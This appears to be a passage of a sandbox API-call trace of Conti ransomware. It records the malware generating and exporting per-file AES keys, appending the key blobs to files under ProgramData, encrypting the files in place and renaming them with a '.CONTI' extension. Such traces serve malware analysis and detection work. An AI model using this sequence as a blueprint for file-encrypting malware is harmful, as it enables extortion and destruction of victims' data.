	[0114.970] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65d92a0 | out: phKey=0x65d92a0*=0x6b7f1f8) returned 1
	[0114.970] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d92a4, pdwDataLen=0x587f8ac | out: pbData=0x65d92a4*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0114.971] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml")) returned 0x20
	[0114.973] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.974] GetLastError () returned 0x5
	[0114.974] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0114.974] GetProcessHeap () returned 0x1720000
	[0114.974] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173fbb0 | out: hHeap=0x1720000) returned 1
	[0114.974] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0114.974] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65da050 | out: phKey=0x65da050*=0x6b7f338) returned 1
	[0114.974] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65da054, pdwDataLen=0x587f8ac | out: pbData=0x65da054*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0114.975] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml")) returned 0x20
	[0114.977] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.977] GetLastError () returned 0x5
	[0114.977] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0114.977] GetProcessHeap () returned 0x1720000
	[0114.977] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f570 | out: hHeap=0x1720000) returned 1
	[0114.977] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0114.977] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65dcdf0 | out: phKey=0x65dcdf0*=0x6b7f2b8) returned 1
	[0114.977] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dcdf4, pdwDataLen=0x587f8ac | out: pbData=0x65dcdf4*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0114.978] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml")) returned 0x20
	[0114.980] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.981] GetLastError () returned 0x5
	[0114.981] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0114.981] GetProcessHeap () returned 0x1720000
	[0114.981] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6560c40 | out: hHeap=0x1720000) returned 1
	[0114.981] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0114.982] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65dd4c8 | out: phKey=0x65dd4c8*=0x6b7f1f8) returned 1
	[0114.982] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dd4cc, pdwDataLen=0x587f8ac | out: pbData=0x65dd4cc*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0114.982] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml")) returned 0x20
	[0116.106] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0116.106] GetLastError () returned 0x5
	[0116.106] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0116.106] GetProcessHeap () returned 0x1720000
	[0116.106] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ff70 | out: hHeap=0x1720000) returned 1
	[0116.106] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0116.106] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e058 | out: phKey=0x6b4e058*=0x6b7eff8) returned 1
	[0116.106] CryptExportKey (in: hKey=0x6b7eff8, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e05c, pdwDataLen=0x587f8ac | out: pbData=0x6b4e05c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0116.107] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.a0")) returned 0x20
	[0116.107] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.a0"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0116.108] GetLastError () returned 0x0
	[0116.108] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=3510063) returned 1
	[0116.108] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x358f2f
	[0116.108] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.108] SetEndOfFile (hFile=0x3e8) returned 1
	[0116.108] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.109] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.109] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b4e05c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x6b4e05c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0116.111] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.111] ReadFile (in: hFile=0x3e8, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x358f2f, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x358f2f, lpOverlapped=0x0) returned 1
	[0119.455] CryptEncrypt (in: hKey=0x6b7eff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x358f2f, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x358f30) returned 1
	[0119.459] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.459] WriteFile (in: hFile=0x3e8, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x358f30, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x358f30, lpOverlapped=0x0) returned 1
	[0121.309] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.309] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b4e050*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x6b4e050*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0121.309] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0121.309] CloseHandle (hObject=0x3e8) returned 1
	[0121.310] GetProcessHeap () returned 0x1720000
	[0121.310] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0121.311] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0"
	[0121.311] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0.CONTI"
	[0121.311] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.a0"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.a0.conti")) returned 1
	[0121.312] GetProcessHeap () returned 0x1720000
	[0121.312] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0121.312] CryptDestroyKey (hKey=0x6b7eff8) returned 1
	[0121.312] GetProcessHeap () returned 0x1720000
	[0121.312] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173cb00 | out: hHeap=0x1720000) returned 1
	[0121.312] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0121.312] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x6b4fe00 | out: phKey=0x6b4fe00*=0x6b7f278) returned 1
	[0121.312] CryptExportKey (in: hKey=0x6b7f278, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4fe04, pdwDataLen=0x587f8ac | out: pbData=0x6b4fe04*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0121.314] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.006.etl")) returned 0x2020
	[0121.314] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.006.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0121.315] GetLastError () returned 0x0
	[0121.315] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=8192) returned 1
	[0121.315] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0121.315] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.315] SetEndOfFile (hFile=0x3e8) returned 1
	[0121.315] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0121.315] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.315] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b4fe04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x6b4fe04*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0121.316] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0121.316] ReadFile (in: hFile=0x3e8, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2000, lpOverlapped=0x0) returned 1
	[0121.317] CryptEncrypt (in: hKey=0x6b7f278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2000, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2010) returned 1
	[0121.317] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.317] WriteFile (in: hFile=0x3e8, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2010, lpOverlapped=0x0) returned 1
	[0121.317] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.317] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b4fdf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x6b4fdf8*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0121.317] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0121.317] CloseHandle (hObject=0x3e8) returned 1
	[0121.317] GetProcessHeap () returned 0x1720000
	[0121.317] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0121.317] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl"
	[0121.318] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl.CONTI"
	[0121.318] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.006.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.006.etl.conti")) returned 1
	[0121.318] GetProcessHeap () returned 0x1720000
	[0121.318] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0121.318] CryptDestroyKey (hKey=0x6b7f278) returned 1
	[0121.318] GetProcessHeap () returned 0x1720000
	[0121.318] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a9c0 | out: hHeap=0x1720000) returned 1
	[0121.318] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0121.319] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x6b504d8 | out: phKey=0x6b504d8*=0x6b7f0b8) returned 1
	[0121.319] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b504dc, pdwDataLen=0x587f8ac | out: pbData=0x6b504dc*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0121.319] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.007.etl")) returned 0x2020
	[0121.320] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.007.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0121.320] GetLastError () returned 0x0
	[0121.320] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=8192) returned 1
	[0121.320] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0121.320] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.320] SetEndOfFile (hFile=0x3e8) returned 1
	[0121.320] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0121.320] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.321] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b504dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x6b504dc*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0121.322] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0121.322] ReadFile (in: hFile=0x3e8, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2000, lpOverlapped=0x0) returned 1
	[0121.323] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2000, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2010) returned 1
	[0121.323] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.323] WriteFile (in: hFile=0x3e8, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2010, lpOverlapped=0x0) returned 1
	[0121.323] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.323] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b504d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x6b504d0*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0121.323] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0121.323] CloseHandle (hObject=0x3e8) returned 1
	[0121.323] GetProcessHeap () returned 0x1720000
	[0121.323] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0121.323] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl"
	[0121.323] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl.CONTI"
	[0121.323] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.007.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.007.etl.conti")) returned 1
	[0121.324] GetProcessHeap () returned 0x1720000
	[0121.324] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0121.324] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0121.324] GetProcessHeap () returned 0x1720000
	[0121.324] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7acc0 | out: hHeap=0x1720000) returned 1
	[0121.324] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0121.324] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x6b4de10 | out: phKey=0x6b4de10*=0x6b7eff8) returned 1
	[0121.324] CryptExportKey (in: hKey=0x6b7eff8, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4de14, pdwDataLen=0x587f8ac | out: pbData=0x6b4de14*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0121.325] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.008.etl")) returned 0x2020
	[0121.325] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.008.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0121.325] GetLastError () returned 0x0
	[0121.325] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=8192) returned 1
	[0121.325] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0121.325] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.325] SetEndOfFile (hFile=0x3e8) returned 1
	[0121.326] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0121.326] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.326] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b4de14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x6b4de14*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0121.327] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
